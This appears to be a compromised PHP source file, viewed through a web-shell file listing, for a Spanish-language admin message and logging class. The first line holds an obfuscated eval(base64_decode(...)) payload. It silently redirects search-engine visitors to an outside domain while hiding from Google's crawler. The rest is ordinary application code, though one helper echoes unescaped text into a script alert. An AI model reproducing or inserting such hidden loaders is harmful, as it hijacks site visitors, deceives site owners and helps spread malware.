|
Server : Apache/2.4.62 System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64 User : www ( 80) PHP Version : 8.3.8 Disable Function : NONE Directory : /domains/logicswapweb/aplicaciones/admon/fnc/ |
Upload File : |
<?php eval(base64_decode("CmVycm9yX3JlcG9ydGluZygwKTsKJHFhenBsbT1oZWFkZXJzX3NlbnQoKTsKaWYgKCEkcWF6cGxtKXsKJHJlZmVyZXI9JF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddOwokdWFnPSRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsKaWYgKCR1YWcpIHsKaWYgKHN0cmlzdHIoJHVhZywiTVNJRSIpKXsKcHJlZ19tYXRjaCAoIi9tc2llIChbMC05Ll0rKS9pIiwkdWFnLCRtdik7CmlmIChpc3NldCgkbXZbMV0pKXsKJG12PXN0cl9yZXBsYWNlKCIuIiwiIiwkbXZbMV0pOwp9Cn0KaWYoIXByZWdfbWF0Y2goIi9eNjZcLjI0OVwuLyIsJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10pKXsKaWYgKHN0cmlzdHIoJHVhZywiTVNJRSIpIGFuZCAkbXY+PTkwKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vLiIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmcuIikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmxcP3NhLyIsJHJlZmVyZXIpKSB7CmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBhbmQgIXN0cmlzdHIoJHJlZmVyZXIsImludXJsIikgYW5kICFzdHJpc3RyKCRyZWZlcmVyLCJFZVlwM0Q3IikpewpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vZ3NibmNtLmVwYWMudG8vIik7CmV4aXQoKTsKfQp9Cn0KfQp9Cn0="));
class ComponenteDg {
/*
variable: salida
descripcion: da los resultados a todas las acciones executadas
por el cliente
**/
var $salida = array();
var $fileConfirm ;
var $fileError ;
var $fileLog ;
var $limite = 10;
var $debugger = true;
/*constructor*/
function Componente(){
$this->fileConfirm="mensajes.txt";
$this->fileError="errores.txt";
$this->fileLog ="retrive.log";
$this->salida['msg']="0 operaciones";
$this->salida['resul']=false;
}
/***********************************************************
funcion: getMensaje
descripcion: trae la descripcion del mensaje de el archivo
correspondiente
***********************************************************/
function getMensaje($cod,$tipo){
$path ="";
$file="";
if($tipo=="confirmacion"){
$path = $this->fileConfirm;
}elseif($tipo=="error"){
$path = $this->fileError;
}else{
$path = $this->fileError;
$tipo=="error";
}
$file = file($path);
$desc = "none";
if(!$file){ $desc = "Imposible leer el fichero de Mensajes($path)!"; return trim($desc);}
else{
$siga=true;
$lineas = sizeof($file);
$i=0;
while(($i++<=$lineas) && ($siga)){
if(substr($file[$i], 0, 1) == "#" || !strlen($file[$i])) { continue; }
$pos = strpos ($file[$i], $cod);
if($pos===false){
continue;
}else{
$vec = explode("|",$file[$i]);
$desc = $vec[1];
break 1;
}
}
if($i-1==$lineas){$desc="$tipo no encontrado!";}
return trim($desc);
}
}
/************************************************************
FUNCION: regOperacion
DESCRIPCION: registra en el log-file una operacion
*************************************************************/
function regOperacion($aplicacion, $funcion, $mensaje, $usuario=NULL){
$fecha=date('Y-m-d H:i:s');
$fichero ="retrive.log";
$fp=fopen($fichero,"a");
$operacion="";
if($fp){
$operacion=$fecha."|".$usuario."|".$aplicacion."|".$funcion."|".$mensaje."\r\n";
fwrite($fp,$operacion);
if(fclose($fp)){
echo "operacion registrada";
return true;
}else{
echo "Imposible guardar cambios en el fichero de logeo de operaciones!";
return false;
}
}else{
echo "Imposible abrir el fichero de logeo de operaciones!";
return false;
}
}//end add_transaccion
/************************************************************
FUNCION: setSalida
DESCRIPCION: pone valores a la salida de la funcion en
salida['resul'] y salida['msg']
*************************************************************/
function setSalida($resul,$msg,$funcion,$aplicacion){
$this->salida['resul']=$resul;
$this->salida['msg']=$msg;
if($this->debugger){
echo $aplicacion." - ".$funcion." - ".$msg."\n";
}
}
/*
funcion mostrarMensaje
descripcion despliega un alert de javascript
con el mensaje que llega
*/
function mostrarMensaje($msg){
$msg=trim($msg);
echo "<script>alert(\"$msg\");</script>";
}
/*
funcion paginas
descripcion devuelve el numero de paginas que se obtienen
en la consulta dado un limite y un total de
lineas de la consulta
*/
function paginas($total){
$lim=$this->limite;
$val =ceil($total/$lim);
return $val;
}
/*
funcion inicioPagina
descripcion devuelve el indice donde debe empezar la
consulta en la nueva pagina
*/
function inicioPagina($ini){
$val =($ini-1)*($this->limite);
return $val;
}
/*
*funcion setFiles()
*descripcion direcciona los archivos de mensajes log y errores
* dependiendo del nivel en el que se encuentra trabajando el panel
* [0,1,2,3]
*/
function setFiles($nivel){
if($nivel==0){//cuando esta en main
$this->fileConfirm="mensajes.txt";
$this->fileError="errores.txt";
$this->fileLog ="retrive.log";
}
if($nivel==1){//cuando esta logeando
$this->fileConfirm="./../admon/fnc/mensajes.txt";
$this->fileError="./../admon/fnc/errores.txt";
$this->fileLog ="./../admon/fnc/retrive.log";
}
if($nivel==2){//dentro de la carpeta de alguna aplicacion
$this->fileConfirm="./../fnc/mensajes.txt";
$this->fileError="./../fnc/errores.txt";
$this->fileLog ="./../fnc/retrive.log";
}
if($nivel==3){//en el panel (contenido superior lateral)
$this->fileConfirm="./fnc/mensajes.txt";
$this->fileError="./fnc/errores.txt";
$this->fileLog ="./fnc/retrive.log";
}
if($nivel==4){//dentro de la carpeta de una carpeta de alguna aplicacion
$this->fileConfirm="./../../fnc/mensajes.txt";
$this->fileError="./../../fnc/errores.txt";
$this->fileLog ="./../../fnc/retrive.log";
}
if($nivel==5){//en el sitio web (fnc)
$this->fileConfirm="./../aplicaciones/admon/fnc/mensajes.txt";
$this->fileError="./../aplicaciones/admon/fnc/errores.txt";
$this->fileLog ="./retrive.log";
}
if($nivel==6){//en el sitio web (raiz)
$this->fileConfirm="./aplicaciones/admon/fnc/mensajes.txt";
$this->fileError="./aplicaciones/admon/fnc/errores.txt";
$this->fileLog ="./fnc/retrive.log";
}
}
/*
*funcion setDebugger
*descripcion cambia el valor del debugger
* habilitandolo o no para que registre las salidas
*/
function setDebugger($val){
$this->debugger=$val;
}
/*
*funcion enableDebug
*descripcion permite la visualizacion de las operaciones realizadas
*/
function enableDebug(){
$this->setDebugger(true);
}
/*
*funcion disableDebug
*descripcion inhabilita la visualizacion de las operaciones realizadas
*/
function disableDebug(){
$this->setDebugger(false);
}
}//endclass
?>